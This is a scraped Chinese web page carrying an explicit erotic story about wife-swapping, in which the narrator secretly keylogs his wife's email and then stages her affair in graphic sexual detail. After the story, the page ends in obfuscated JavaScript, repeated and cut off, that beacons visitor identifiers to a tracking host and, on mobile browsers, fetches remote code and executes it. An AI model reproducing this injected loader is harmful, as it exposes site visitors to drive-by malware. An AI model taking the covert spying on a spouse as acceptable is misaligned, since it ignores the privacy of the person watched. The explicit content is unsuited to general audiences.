图片载入中

换妻的喜剧(李明篇)(1-2)

特大字】 【大字】 【中字】 【小字

【换妻的喜剧】(李明篇)(1-2)

换妻的喜剧

作者︰adss

(一)

我叫李明,结婚一年,我的老婆叫苏琴。她是我工作之后才认识的,我们俩 人谈了两年恋爱,情投意合,就结婚了。她身材苗条,两只乳房特别丰满。今年 春天的一天,我下午下班回家后发现她一个人在家,正在看一封信。她发现我回 来后,慌忙把信收了起来。我问她是谁来的信。她红着脸吱唔着,回答说是一个 老朋友。我当然不信,因为我对她非常了解她是个非常单纯的女孩子,一撒谎就 脸红的。

我没有逼问她,因为各人都有隐私权,我在认识她之前就谈过好几次恋爱。 最让我心动的一个姑娘叫小怡,我们俩曾经非常相爱,但是因缘差错,她出国后 俩人交流慢慢断了。我时常在梦里和她相爱,但是我从来就没有和苏琴透露过一 次,我也不了解她以前有什么经历。结婚第一夜,我非常高兴她还是处女,所以 我想她以前可能也没有几次恋爱。

那天夜里我发现她心神不定,以为我睡着了,离开卧室,在沙发上想了好长 时间,长吁短叹,我透过门缝看到她眼里暗含泪水,心里一动,猜想可能和白天 的来信有关。

第二天,趁她出门办事,我找到那封信。一看之后,心里吃惊不小,原来她 也有一段生死相许的感情经历,她和她的一个同班同学谈了五年的恋爱。看信里 知道那人叫许志明,隐约从信里猜出个所以然。

那个姓许的(我心里醋意大动)在大四那年去美国留学了,而且还在美国结 了婚。最让我心惊的,是他的爱人叫蓝海怡,北京人。我以前的恋人可不是也叫 蓝海怡吗?难道真的是她吗?再看之后,可叹造化弄人,小怡的父亲在美国开了 一家精密光学器械公司,非常有钱。没错,正是她。

信里他向小琴倾诉他的婚姻非常不幸,小怡始终不能忘怀她的初恋,俩从始 终同床异梦。下个月他要回国,一方面想见见她,以诉别后相思,同时在国内还 有一些事务要办理。并求小琴一定要给他一个机会,把当年的误会解释清楚,然 后就带着对她的绝爱永远地别去。

我一方面震怒,一方面更惊叹人生的离奇际遇,心里不知该说什么。更想知 道小怡现在的情况,知道她到现在还是没有忘记我,心中更是刻骨相思,怀念悠 悠不断。

我又把信放回原处,小琴回来后我绝口不提那事,心里暗自盘算。

信里留了他的EMAIL地址,让她想联系就给他发信。我在家里的计算机里装了

一个黑客软件,以记录所有的键盘输入。一个星期后,我发现了小琴用英文发的 信,我很轻易地把信复原。让我担心和痛苦的事情终于发生了︰小琴在信里对他 说,也很想见他一面,并说想和他相爱一夜!!

和他“相爱”一夜!这种背叛,起先很让我愤怒万分,不过我的怒火慢慢地 被一种莫名的兴奋所代替︰想到我心爱的老婆,在别的男人的身下娇吟放浪,让 人玩弄,我竟然感到一种性冲动!那么纯情的小琴,会和他怎么干呢?我越想越 兴奋。

小琴的态度,也让我产生了一种报复心态,我一定要通过他和小怡联系上, 也和小怡重续旧梦。真是他妈的变态!

那一阵子小琴没事就陷入沉思,但是对我还是很好。看的出来,她还是非常 爱我的。我想着,一个月后,会发生什么呢?

一个月后的某一天,家里来了一位特别的客人。那天我下班特别晚,回来后 看到家里隐隐有些谈话声。推门一看,一位潇洒的青年正和小琴正沙发上聊天。 我第六感觉告诉我,这人正是许志明。他们俩努力保持着客气、礼貌的气氛,相 坐的距离也很遥远,我心里暗笑,不知小琴要怎么对我撒谎。

没想到小琴这次说话倒没脸红︰“大明,来,我给你介绍一下,这位我过去 的老同学,姓许,好久没联系的……”

“许志明?”我笑着,把手递过去。

两人都是一愣,小琴吃惊不小︰“你怎么知道的?”

我没说什么,只是责怪小琴︰你在计算机上给许先生发了一封信,还把它存了 起来,办事也太粗心了。题目就是信的第一句话︰“我亲爱的”,我还以为是给 我看的,就看了。

“我存了吗?”小琴煳里胡涂的,满脸通红地想了一下,然后捂着脸跑到卧 室哭了起来。

许志明非常尴尬︰“真是对不起,打乱了你们的生活,我告辞了。”

“慢!”我挡住了他。

小琴很紧张地,含着泪跑出来︰“大明,都是我的错,你让他走,要打你打 我吧!”

“怎么会打志明呢?他是你的朋友,也是我的朋友。要说错谁也没有错,错 的是命运,我还要留他喝一杯呢!不许走啊,志明。”

小琴怀疑地看着我,我拉着满脸不安、奇怪的许志明,对他道︰“今天你不 能走,说句实话,你们俩相识在先,小琴是我的老婆,我非常爱她,但是我还是 有些气度的,你们也没做什么对不起我的事。就是做了……我那么爱她,她的任 何想法我都会满足的。”

“大明,是我对不起你。我更爱你,你不会和我离婚吧?”

“绝不会,那不就太便宜这小子啦!”

“不,我们不能这样做,这样太对不起你了。”

我非留许志明在家里喝酒。酒过三巡,我们三个聊得很开心,都有些醉意。 我看小琴和许志明慢慢地放松下来,就拉着小琴和许志明的手联在一起︰“我也 有过类似的经历,我知道人的初恋是最难忘的。这两天我退出,小琴你放心,我 也很爱你,我只是现在退出两天,不会和你离婚的。”

小琴羞红着脸低着头瞟了许志明一眼,又心虚的看看我︰“你这人,到底开 什么玩笑?”她神情娇媚,趐胸起伏,体态诱人,许志明的表情都傻了。

夜已经很深了,我一看表,都十二点了。就对许志明说︰“许先生,你现在 下榻何处?”

许志明摇摇头︰“我刚下飞机。”

我对小琴说︰“一会儿你把客房准备一下。”

许志明坚决地说︰“不,我不会住客房的。”

我说︰“好吧,那你就住我们俩的睡房吧,我睡客房。”

小琴娇嗔着捶了我一下︰“别胡说了,再说我可就翻脸了。”

我笑着说︰“那我们三个都睡客房?”

小琴眉梢眼角都有些荡意︰“你真不介意?”

我心中怒火、醋意和兴奋揉在一起,不知什么滋味。不知什么神鬼差使,把 小琴一下推到许志明的身边︰“你看我会介意吗?”

小琴喝了酒身体发热,正是初夏,她外套早就脱了,娇躯曲线起伏,玉臂外 露,趐胸隐约可见,因为盘腿坐着,短裙刚过膝,苗条丰满的大腿惹人暇思。这 么美的老婆,就拱手送人?

许志明向我拱手称谢︰“大哥,我……这两天一定会好好待她的。”

小琴膀子向他一搡︰“他答应我还没答应呢!”

两人居然当着我的面开始挑情了!

我心里不知什么滋味,面上仍笑吟吟的看着他们俩。

他的手轻轻地搭在小琴的肩上。小琴看着我的反应,我却向许志明一努嘴︰ “动作别那么僵硬嘛,一点也没有情人的感觉。这样吧,你们现在就是夫妻俩, 我当外人,好不好?弟妹?”我这样称唿我的娇妻。

小琴红着脸︰“你们俩都欺服我。”

志明的手开始搂着小琴,小琴也开始向他靠去。几番挑情之后,小琴身子已 经软了,志明轻轻抱着她。

小琴眼含春色地看我一眼︰“家里……还有套吗?……我这一阵正是……危 险期。”

我又说了一句话,让小琴彻底解除了紧张︰“小琴,今天家里已经没保险套 了,你就放开了给他吧。”

“那不让他占够了便宜!”小琴娇媚地倒在他的怀里,上衣已经被他解开, 乳罩边丰挺雪嫩的乳房若隐若现,他的手开始不规矩起来。

我一阵怒火,差点想揍他一顿。慢慢地平息后,我对他们俩道︰“你们该休 息了,回房吧。”

志明抱着小琴近乎赤裸的身体,向睡房走去,走向我和我的爱妻的大床!而 我的爱妻,只是娇喘着。我再一看,气得几乎两眼冒火︰原来小琴的下裙已经有 些乱了,敢情刚才……!

不过转念一想︰今天晚上小琴的身体要任他玩弄,这点还只是小意思呢!还 有,小琴今天是危险期,家里又没有套了,希望小琴不要给他射进去!

他把小琴放上床后,回来关门时对我说了一句︰“你放心,今天我会好好对 她的,一定让她享受到她一直没享受过的感觉!”

我暂时没动,一会儿就听到屋里小琴的呻吟叫床声了!我有些不放心,在客 厅沙发上坐下休息了一会儿,就听到里面的浪叫声越来越大︰

“好哥哥,你……坏死了……不能……这样……好舒服……慢点……哦…… 你怎么插得那么深……我快死了……”

“你这样在人家家里玩人家的老婆……你怎么这么行呢!啊……再深点…… 深点……”

“比起你老公怎么样?”

“比他……比他……”

我关心起来,侧耳倾听,听不见小琴说什么,只听到志明得意地笑了。我闭 目想象着︰小琴的玉腿分开抬起,任那根粗大的肉棒插来插去,花瓣早就湿了, 小琴和他的淫液浪水一直流到我们的大床上,那个家伙一边干着她一边用手、用 舌玩着小琴又红又紫的小乳头,小琴的椒乳最是敏感,在上下不断的刺激下,小 琴已经来了几次高潮了,银牙紧咬,星目半闭,让那家伙捅到花心深处。

果然如此,小琴很快地叫了起来︰“我射了……我要死了……我要你……我 要……”

但我还是不太担心,小琴不会让他射进去的,她还是属于比较理性的一个女 孩子,我相信她,慢慢地我在沙发上睡着了。

这个家伙真行,玩了三个多小时。夜里小琴的开门声把我弄醒,我睁大眼, 看到小琴玉体赤裸,满面通红,娇喘不休地站在门口,看到我时非常惊慌。她一 手提着她的小亵裤,一手捂着她迷人的私处。两只乳头红红的,不知被他玩了多 少次了,骄人地高挺着,显然高潮还没过去。小腹上还溅落一些白色的精液。我 再看她的大腿根部,哦,几道污浊的精液慢慢地从她的阴处流下来。

“对不起,我……我让他……”

“别说了,我不是说了吗?你就放开了给他玩,没事。”

我说着要回到客房去,小琴冲过来,拉着我的手,“我爱你,我……和你一 起去客房。”

我点头同意。小琴红着脸低头说︰“我先去清理一下。”

我说不用,抱着她回到客房,一下把她扔到了床上。小琴两腿无力地分开耷 下,私处正好面向我,我醋意十足地看到那又红又肿的花瓣中心,还在流着他的 乳白的精液,真是刺激万分。

我脱下衣服,抱着她,问︰“那家伙和你来了几次?”

小琴浑身趐软,喘气短促︰“五、六次吧。”

我一手摸着她的乳头,一手去摸她的私处,湿润柔滑极了,着手处都是他们 俩的爱液。

“他射到你的最深处了?”

小琴向我微笑一下︰“是的,几次都射进了。还有几次,是我们俩共同爆发 的。天啊!他真是……”她没注意我的情绪,还在回味中。

“你不怕今天是你的危险期吗?”

“你不怕就行。”小琴调皮地笑道。

我再也受不了这种刺激,埋下头去舔小琴的私处,那种又酸又涩的味道,让 我非常冲动。

“别,别这样……好痒啊……”

我一面舔她又红又肿的阴核,一面用手指向里捅,小琴的小穴里面充满了他 的精液。小琴扭动着身体,不断地用言语撩逗我︰“不要这样啊……我还要留着 他的种子呢……你不能这样……我受不了了。”

我正准备要挺枪刺入,客房的门开了,志明走了进来,他开玩笑般地说道︰ “大哥,刚才可又是你说的,小琴现在是我的老婆,是你的弟妹。你这样是非礼 啊!”

小琴向我笑容可掬地点了点头︰“真是不好意思了,老公来找我,我得回去 了。”然后她凑到我耳边低声道︰“我最爱的人还是你。他走了以后,你可以天 天、时时玩我,行不行?”

我叹口气,无奈地向他们俩苦笑一下︰“你们走吧。”

志明又问我︰“大哥,要么……你也过去?”

小琴羞涩地红着脸向我笑着,半是期待、半是挑逗地看着我道︰“你们可以 来一场大比武啊!”

她娇弱无力地靠在志明的怀里,志明一只手摸着她的乳头,一只手正在她的 下体大动。小琴像是迎合他的动作一样,把趐胸前挺,两腿略分,被他弄的呻吟 婉转。她含情地看着志明,然后把樱唇张开,热情地迎接着他舌头的进入。

天啊,这就是我以前又纯情又端异的娇妻吗?!

狗男女!我一定要奸死他老婆!

(二)

四十年后的一天,我伴着我的爱妻,在夕阳下悠悠地呷着茶。我们俩人都已 满头白发,人到暮岁,凡事日渐淡薄,只是青年时期的荒唐喜剧让我每每忆起不 由微笑。天公弄人,可是情欲的力量还是把命运的失误修正过来。

“老蓝,咱们好久没和许志明联系了吧?”

小怡抬起白蒙蒙的双眼,盯着我,又像是努力想穿透厚厚的岁月。

“志明和小琴的孩子挺有出息的,听说现在在月地旅行社当经理,他们家又 换了一只小飞船。对了,你能肯定那孩子不是你的吗?”我意味深长地看了小怡 一眼。

小怡像是悟到什么似的,白净的脸红了一下,“你们啊,真是胡闹……”

记得那晚上我还是拒绝了小琴肉体的邀请,激情是在第二天晚上才真正烈烈 燃起的。

他们回到睡房后又大战了多少回合我不知道,反正第二天小琴就换了一张新 床单。

早上我为他们俩弄好了早餐,小琴容光焕发地走出房来,见到我时,俏脸飞 红,盈盈一笑,好像真是当了志明的新娘。

一天无事。晚餐时我们再次交杯共展,志明、小琴时不时地开着玩笑,我却 呆着脸发愣。

“小琴,你知道我吃这块鲜贝肉时想到什么了?李明,你们家的鲜贝就是肉 嫩汁多。”

“讨厌,不许你乱想。”

“李明,今天晚上你没做什么汤啊,小琴你晚上负责给我喂点你的汤。”

“管你饱。”小琴被他逗的身体发热,一只雪白的小腿俏,皮地耸在他的腿 上,脚趾一扭一扭的,我一下联想到小琴在极度高潮时玉足常常会伸直的样子, 底下也硬起来。今天晚上我还当灯泡吗?不行。

小琴看看我,撅着红红的小嘴︰“李明啊,今天晚上我和志明邀请你啊,你 要是不来,我们可不答应。”然后奸夫淫妇一起低笑起来。

我心里大骂,木着脸点点头︰“去,一定去。”

小琴然后站起身来,当着我们俩的面,把外衣、乳罩、小亵裤等一件件脱下 来,露出那骄人的身材。又当着我们的面前像模特那样转了一圈,笑着跑进了睡 房,唱着小调︰“谁先爬上谁先尝。”

我和志明对视一眼,俩人不约而同地边脱衣服边往里跑。

我以为是公平竞赛,还是小琴偏了心。我们俩是几乎同时跑进床边,不料躺 倒在床上的小琴一下翻身扑到志明的怀里,两人全身赤裸抱在一起。

“我先摸到了。”志明叫道。

我气得大叫。小琴因为被他顶着私处,喘气已粗,她扭过脸对我说︰“我今 天晚上是他的了,你的事儿就是帮着他,让我死过去。”

小琴两腿分开盘在他腰上,我只好过去托着小琴秀气的臀部。

“老公,他……他插进去了……嗯……好深啊……”

我帮助小琴向下一坐一抬,小琴底下和他交合,上面却平均雨露,有时和他 深吻,有时扭脸安慰似的亲亲我。

“老公,我快要高潮了……真的好舒服啊!”

志明的肉棒开始顶着小琴的花心研磨,小琴的叫声让我冲动万分,我一只手 托着她,一只手打起手枪来。

“老公,你才是我的亲老公……我爱你……给我吧……射进来……我的花心 都给你开了……哦……我死了……快把种子撒进来……”

小琴大叫一声,离开我的手,紧拥着他射了,志明也叫着把他的精液挤进了 小琴的小穴最深处,我也在这时射了出来。

他们俩半天没分开,然后小琴把她的花瓣合起来,不让精液流出一滴,躺在 床上休息了一会,对我道︰“你还行吗?”

我摇摇头。没想到这幕艳景这么刺激,我现在只想做观光者。

志明爬上小琴的玉体,认真地舔起她的乳头、耳边、她光滑的小腹,小琴向 我招招手︰“老公,过来,今天你还什么好处没捞着,亲亲我吧。”

然后我像是和小琴初恋时那样浅浅地吻着,她的表情依然纯情端异,只是她 惹人怜惜的娇吟喘息不是被我激发的,雪白晶莹的玉体、湿漉的阴处、散乱的长 发、苗条柔滑的玉腿现在属于别人。

我过去吻她,小琴向我微笑着说︰“现在我就想让他玩我,委屈你了。”然 后她分开大腿。

志明把他沾满小琴浪水的肉棒向我出示一下︰“你可以来看一下嘛。”

我过去仔细地观察着,他那又粗又长的大肉棒在小琴的私处不断逗弄着,她 的花瓣处还流着白色污浊的精水,他又要插进去了!

没想到他只是在小琴上身动作,不断地用牙轻咬、用手轻拉、用舌舔她的两 只鸡头嫩肉,那两块肉结婚到现在好像才刚有了生命,乳晕涨满,两只红红的小 乳头直挺挺地撅着,向它们的新主人彻底屈服。

小琴的叫声越来越浪︰“亲老公,快进来……我都受不了了!”

“让我死吧……我是你的了……我不爱李明就爱你行不行?你进来吧……”

但他半天还不插进去,小琴只好向我发令︰“好人,你去求他吧,让他快玩 死你老婆……快啊!”小琴向我娇嗔着,她的胸部一起一伏。

我没说什么,只过去把他的大屁股向前一推,“噗”的一声水响,肉棒全根 而没。小琴头向后一仰,高潮再次来临,晕过去了。

那天晚上我也累的不行,我的工作就是不断地帮助他们俩共赴高潮,好像自 然而然的。小琴一次又一次地向他表示臣服,一次又一次地向我表示背叛,表示 只爱他一个,表示他以后随时想干他她就随时准备被他玩。

他射了五、六次,我也射了三、四次,当然都射在了外面。除了摸一摸她的 乳房,我别的什么都不能做。

天亮时我离开了他们俩的睡房,志明已经熟睡,小琴光着身子在门口向我笑 着摇了摇手︰“亲爱的,你别生气啊,女人的话有时不能当真的。”

有时是要当真的。我是个失去国家、失去妻子的皇帝。

**********************************************************************

谢谢大家的表扬,没别的话,再接再厉,很快将推出《志明篇》。

**********************************************************************

(三)

**********************************************************************

说明︰谢谢大家,我将努力加油。

纯属游戏之作,人生苦短,无聊时不扰他人,自寻其乐,偶有触动,信手打 来,敲敲键盘的工夫,不能和大师级相比,稍逊文采,略胜风骚,而已而已。

称为喜剧,是因为到了后来,无缘儿女冲破婚姻,有情佳偶终结伴侣,中间 虽多波折,但终能天涯作伴,相老白头。拟在后文多加些料,长篇不可能。前文 的小琴是为开放女性,后面的小怡性格保守,宁负情郎,也要对夫婿从一而终, 有些难度。哈,望大家多提建议。

原拟马上转为志明篇,看有人捧场,就再写一章。

**********************************************************************

没想到过了几天,小琴又回来了。她嘟着小嘴,翘着小鼻子,气冲冲回到我 现在住的客房。

“他以为这儿是什么地方?想来就来,想走就走。急了还和人发脾气,看我 再理他的!”

我忙关心的问︰“怎么啦?他惹你生气啦?”

小琴向我道︰“不用你多问。就想让你抱抱我。”

我轻轻地抱着她。这几天,我和我的娇妻相处的时间越来越少,小琴就是白 天不作爱,也 意在他住的睡房待着。两人没事就聊天,回忆旧事,重续情缘, 到动心处小琴就含情看他。一开始还故意当着我的面打情骂俏,现在却特意避着 我,不再当着我的面搂搂抱抱的。我们三人好像被什么东西左右索引着,有时候 关系密切得让人紧张、有时候又非常疏远;小琴似乎对他的情愫与日俱升,但近 来彷佛越来越依恋我,有一天我悟出了那种刻意的表白和做秀,是出于对未来的 担心°°小琴怀上了他的孩子。

“志明,如果小琴打掉孩子,你就从我们家彻底消失;如果她生下来,我就 走。还有,你美国的婚姻又怎么办?”我差点没说出不如让我接受罢。

小琴无语地靠在我身边,这时志明只是一个陌生人。

“她马上要回来了。我想和她作个了断。”

“介绍介绍,让我们认识一下?”小琴不无酸意地说。

“可以,不过离婚之前,不能让她知道我和小琴的事。”

志明既然这样的表态,小琴高兴地笑了起来。可是她正小鸟依人地靠在我身 边,所在不得不马上把笑容收敛起来,继续扮演受害者的角色。我知道昨天还向 我表露“和志明只是肉体游戏、我才是她的真爱归宿”的她,处境是最困难、尴 尬的,她需要我最终的帮助。

这一天晚餐特别丰富,我们最后吃的是一道美女大餐︰我的娇妻小琴。我和 她商量了半天,她终于扭扭捏捏地同意。

正餐结束后,我说道︰“志明,今天还有饭后甜点。”

“是么?”志明疑惑地看看厨房︰“在哪里?我去端。”

“一道是消食红酒,一道是小樱桃,一道是冰淇淋。都在这里。”我把小琴 推向志明。

小琴扭了一下,似笑非笑地用小指头点着我︰“你非得让你老婆被人玩够才 开心哪!”然后如雨中梨花,含羞带笑地看着志明,从桌下拿出一瓶红酒,给我 们俩人倒满杯,然后说道︰“这一道菜是谁用的慢算赢,然后才能来下一道。” 她掏出一块黑布让我蒙上她的眼睛,然后张开红唇贝齿,带着一脸纯情的笑容, 等着我们去喂。

我和志明猜拳决出先后,我第一个上,先含了一口酒,以惯用的姿式张开双 臂环抱着小琴的肩,去渡到她的小嘴里,然后我马上后悔,小琴能猜出来。她果 然爽然接受了我口中的美酒,却又吃吃笑着用她的小舌头抵挡我舌头的进入,我 只好无味地吻了她一会,暗骂小贱妇,退出她的亲吻。

志明只含了一小口酒,抱着小琴的小蛮腰,紧贴着她的胸,度酒于她口中, 小琴一会儿就被吻动了情,两人口中舌头纠缠不休。不知那点酒竟让他们俩喝了 这么半天,后来我才醒悟,原来两人是以唾液“互敬”,不断地奉献和享食着对 方大口的“美酒”。

一段长吻后,我看见志明的手竟然不老实地探进小琴的内衣里去了。因为连 着几天小琴过分地“偏心”,真的一点也不给面子,我在最后一点尊严的冲动下 分开了他们俩。

小琴得意地宣布第二名得胜,但是因为对老公的“特别照顾”,让我得以进 入下一道菜。

小琴轻展玉臂,脱下外衣、内衣、乳罩,露出她洁白如脂的乳房、亭亭玉立 的“小樱桃”。脸色绯红,眼含春色,看得志明马上就要扑上去大动食指。

“这一道是你们两人同时来吃的,谁吃的最有艺术谁才可以吃下一道。”小 琴笑着推开他,却又倚在他怀里,用眼角的余光勾引着我。

这一道我得了第一名,因为我吃的是小琴最敏感的右乳,在我以舌头连续地 扫、舔、用牙齿轻咬、拉的动作下,那边志明也在暗加力气,小琴难已自主、呻 吟连连,一只小手已经偷偷地伸进她迷入的禁地,拉开素白裙子,揉着她早已湿 透的小短裤。最让我惊奇的是,好像没几天时间,小琴的乳晕大了好多。

虽然我是第一名,可上一道是照顾我的,所以我们同时进入第三道菜。

这道菜小琴羞答答地半天张不开嘴︰“第三道是……是……冰淇淋。这一道 胜负是反着来的。负的人吃冰淇淋。有时间限制,不是比你们……你们谁能多吃 多占,而是比……”让小琴最难以启齿的话终于说出口了,她颤着声音红着脸一 口气把下面的规则说了出来︰“比十分钟内你们俩谁先让我受不了,谁的那个坏 东西,就可以参战了,而且不戴套哦,想射多少就射多少……”

志明假装不明白,故意问︰“哪输的人吃什么冰淇淋?”

小琴捂着红透的双颊道︰“就是吃我和那个人流出来的冰淇淋呗!”

她再也说不下去了,她看了我一眼︰“都是你的菜谱,让我怎么好意思呢! 弄不好这次还是你吃!”说着娇羞地一扭身向睡房跑去。为人妇者的尊严和善良 彻底被背叛与淫荡打败了。

同上一次一样,我和志明向里面冲。小琴已经主动地把裙子、内裤脱下,露 出雪白修长的大腿,然后笑着把她那可爱迷人的小短裤咬着嘴边,勇敢地说道︰ “我要挺到最后!”

我和志明一起蒙上她的双眼,我先分开我娇妻美丽的双腿,那股久违的淫靡 的气息让我心醉神动。在昏暗的灯光下,我还能看见小琴的桃源洞口微微张开, 几点细碎的乳白色花雨散落着,不知哪些雨点因我而落,哪些蜜意为他而生。彷 佛回归到新婚之夜,我在探索中偷见到人生的奥义,兴奋无比。

我用舌头慢慢地舔着小琴的秘处,时不时用手指轻轻向花心处捅,花瓣里开 始流出大量的花蜜。几分钟后,小琴开始受不了了,她用十指捻着两只小乳头, 碎碎银牙咬着小裤头,唔唔地不知表示舒服还是难受,或两者兼有。

长长的舌头不慌不忙地扫着她的阴核,侵袭着她的小穴,吮着她流出来的花 蜜,一只手不时地沿着一条“香路”徘徊向上摸去,上下加攻使小琴高唱低吟, 我真吃了个饱!

七、八分钟时小琴已经吐出口中的小亵裤,爽得浪叫连连︰

“好舒服……是谁的舌头这么坏……天啊……不要进去……真的别进去…… 求求了……我还要坚持……”

我看她实在受不了了,就加大舌头的力度,密集地专攻她的小阴核,那可爱 的小肉块被我弄得饱涨起来。小琴已经在一次高潮中流了好多,但依然坚持着没 说“求你进去”这样的话。

在十分钟后我抹了抹嘴,让位给志明。

志明在第三分钟时,就把他的“坏东西”挺入了再也坚持不下去的那个小浪 穴里。

因为比赛已经结束,小琴拉下黑布,放开了和他进行肉搏大战。我摸着小琴 被他玩得尖立高耸的乳头,小琴一面在喘息中被他干着,一面笑着对我说︰“我 早就猜出你是第一个了,其实你的功夫也很好,但我就是忍着……哦……让你再 吃一次……嘻嘻……一会儿我和他会流好多好多,都吃干净哦……”

我痴痴地看着小琴的眼,对她说︰“小琴,让我最后再和你做一次爱吧。”

小琴一面对志明叫着︰“亲老公干死我吧!”一面向我摇头拒绝︰“不,我 不想犯通奸罪。”


上一篇:扭曲城市(夏娜同人)(全)

下一篇:师徒分赃


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 